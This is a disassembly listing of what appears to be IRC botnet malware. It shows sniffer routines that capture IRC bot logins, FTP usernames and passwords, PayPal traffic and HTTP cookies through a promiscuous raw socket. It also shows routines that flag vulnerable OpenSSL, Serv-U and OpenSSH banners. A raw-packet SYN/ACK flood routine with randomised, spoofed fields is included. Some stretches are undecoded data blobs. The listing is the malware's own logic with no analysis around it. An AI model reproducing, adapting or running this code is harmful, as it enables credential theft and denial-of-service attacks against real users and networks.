		dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h
		dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h
		dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh,	458B1808h
		dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h
		dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h,	4CB6E0h
		dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h
		dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h,	96D4h
		dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh,	8D50D475h
		dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh
		dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh
		dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h
		dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h
		dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh,	2CDCAFE8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================



sub_412352	proc near		; CODE XREF: sub_412661+213p
					; sub_412661+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE3C0, eax
		mov	eax, offset dword_4CE3C0
		retn
sub_412352	endp


; =============== S U B	R O U T	I N E =======================================



sub_412361	proc near		; CODE XREF: sub_412661+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237B


loc_412377:				; CODE XREF: sub_412361+29j
					; sub_412361+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237B:				; CODE XREF: sub_412361+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C3


loc_4123BF:				; CODE XREF: sub_412361+71j
					; sub_412361+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C3:				; CODE XREF: sub_412361+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412361	endp


; =============== S U B	R O U T	I N E =======================================



sub_412478	proc near		; CODE XREF: sub_412661+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412492


loc_41248E:				; CODE XREF: sub_412478+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412492:				; CODE XREF: sub_412478+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248E
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B8


loc_4124B4:				; CODE XREF: sub_412478+4Fj
					; sub_412478+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B8:				; CODE XREF: sub_412478+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412478	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124EE	proc near		; CODE XREF: sub_412661+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412508


loc_412504:				; CODE XREF: sub_4124EE+29j
					; sub_4124EE+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412508:				; CODE XREF: sub_4124EE+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253F


loc_41253B:				; CODE XREF: sub_4124EE+60j
					; sub_4124EE+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253F:				; CODE XREF: sub_4124EE+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412575	proc near		; CODE XREF: sub_412661+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258F


loc_41258B:				; CODE XREF: sub_412575+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258F:				; CODE XREF: sub_412575+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258B
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B5


loc_4125B1:				; CODE XREF: sub_412575+4Fj
					; sub_412575+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B5:				; CODE XREF: sub_412575+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412575	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FC	proc near		; CODE XREF: sub_412661:loc_412A26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412616


loc_412612:				; CODE XREF: sub_4125FC+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412616:				; CODE XREF: sub_4125FC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412612
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263C


loc_412638:				; CODE XREF: sub_4125FC+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263C:				; CODE XREF: sub_4125FC+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412638
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412661	proc near		; DATA XREF: sub_401ACD+427Do

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB668
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6D8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412707
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412707:				; CODE XREF: sub_412661+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277D
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4361C0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412759
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_412759:				; CODE XREF: sub_412661+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_41277D:				; CODE XREF: sub_412661+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB600
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412803
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436190
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DF
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_4127DF:				; CODE XREF: sub_412661+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_412803:				; CODE XREF: sub_412661+13Cj
		mov	esi, 200h


loc_412808:				; CODE XREF: sub_412661+1D6j
					; sub_412661+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB66C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412808
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412808
		cmp	[ebp+arg_0], 19h
		jz	short loc_412808
		cmp	edi, 6Eh
		jz	short loc_412808
		cmp	edi, 19h
		jz	short loc_412808
		push	[ebp+var_113AC]
		call	sub_412352
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412352
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412906


loc_4128D2:				; CODE XREF: sub_412661+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E9
		mov	byte ptr [eax],	20h


loc_4128E9:				; CODE XREF: sub_412661+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F1
		mov	byte ptr [eax],	20h


loc_4128F1:				; CODE XREF: sub_412661+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D2


loc_412906:				; CODE XREF: sub_412661+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B9
		cmp	edi, 50h
		jz	loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412361
		test	al, al
		pop	ecx
		jz	short loc_41294D
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43615C
		jmp	loc_4129E8
; ---------------------------------------------------------------------------


loc_41294D:				; CODE XREF: sub_412661+2C7j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412478
		test	al, al
		pop	ecx
		jz	short loc_412983
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436128
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_412983:				; CODE XREF: sub_412661+300j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124EE
		test	al, al
		pop	ecx
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F4
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129B9:				; CODE XREF: sub_412661+2A9j
					; sub_412661+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412575
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A26
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4360BC


loc_4129E8:				; CODE XREF: sub_412661+2E7j
					; sub_412661+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412808
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_412808
; ---------------------------------------------------------------------------


loc_412A26:				; CODE XREF: sub_412661+36Ej
		call	sub_4125FC
		test	al, al
		pop	ecx
		jz	loc_412808
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436084
		jmp	short loc_4129E8
sub_412661	endp

; ---------------------------------------------------------------------------
dword_412A54	dd 81EC8B55h, 494ECh, 8458B00h,	0A5B95756h, 8B000000h
					; DATA XREF: sub_401ACD+6543o
		dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 90000000h
		dd 27E388E8h, 51E85002h, 8D00008Eh, 0FFFE7485h,	858D50FFh
		dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
		dd 398h, 5014C483h, 0FB6C858Dh,	0EC68FFFFh, 50004361h
		dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h,	0E8FFFFFDh
		dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h
		dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0F9E89056h, 5F022CD4h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B09	proc near		; CODE XREF: ___:00412E80p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_412B49
		xor	eax, eax
		jmp	loc_412E3C
; ---------------------------------------------------------------------------


loc_412B49:				; CODE XREF: sub_412B09+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E34
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E2A
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB654
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB654
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB654
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB650
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C19
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_412B09+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412B09+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6D
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6D:				; CODE XREF: sub_412B09+10Ej
					; sub_412B09+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB654
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2770B5Bh
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27708A2h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBB:				; CODE XREF: sub_412B09+2E2j
					; sub_412B09+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFE
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27708A2h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E27
		jl	loc_412CBB
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E27
		jmp	loc_412CBB
; ---------------------------------------------------------------------------


loc_412DFE:				; CODE XREF: sub_412B09+2CBj
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436214
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_412E2A
; ---------------------------------------------------------------------------


loc_412E27:				; CODE XREF: sub_412B09+2E0j
					; sub_412B09+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E2A:				; CODE XREF: sub_412B09+78j
					; sub_412B09+31Cj
		push	[ebp+var_20]
		call	dword_4CB6EC
		pop	esi


loc_412E34:				; CODE XREF: sub_412B09+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_412E3C:				; CODE XREF: sub_412B09+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B09	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
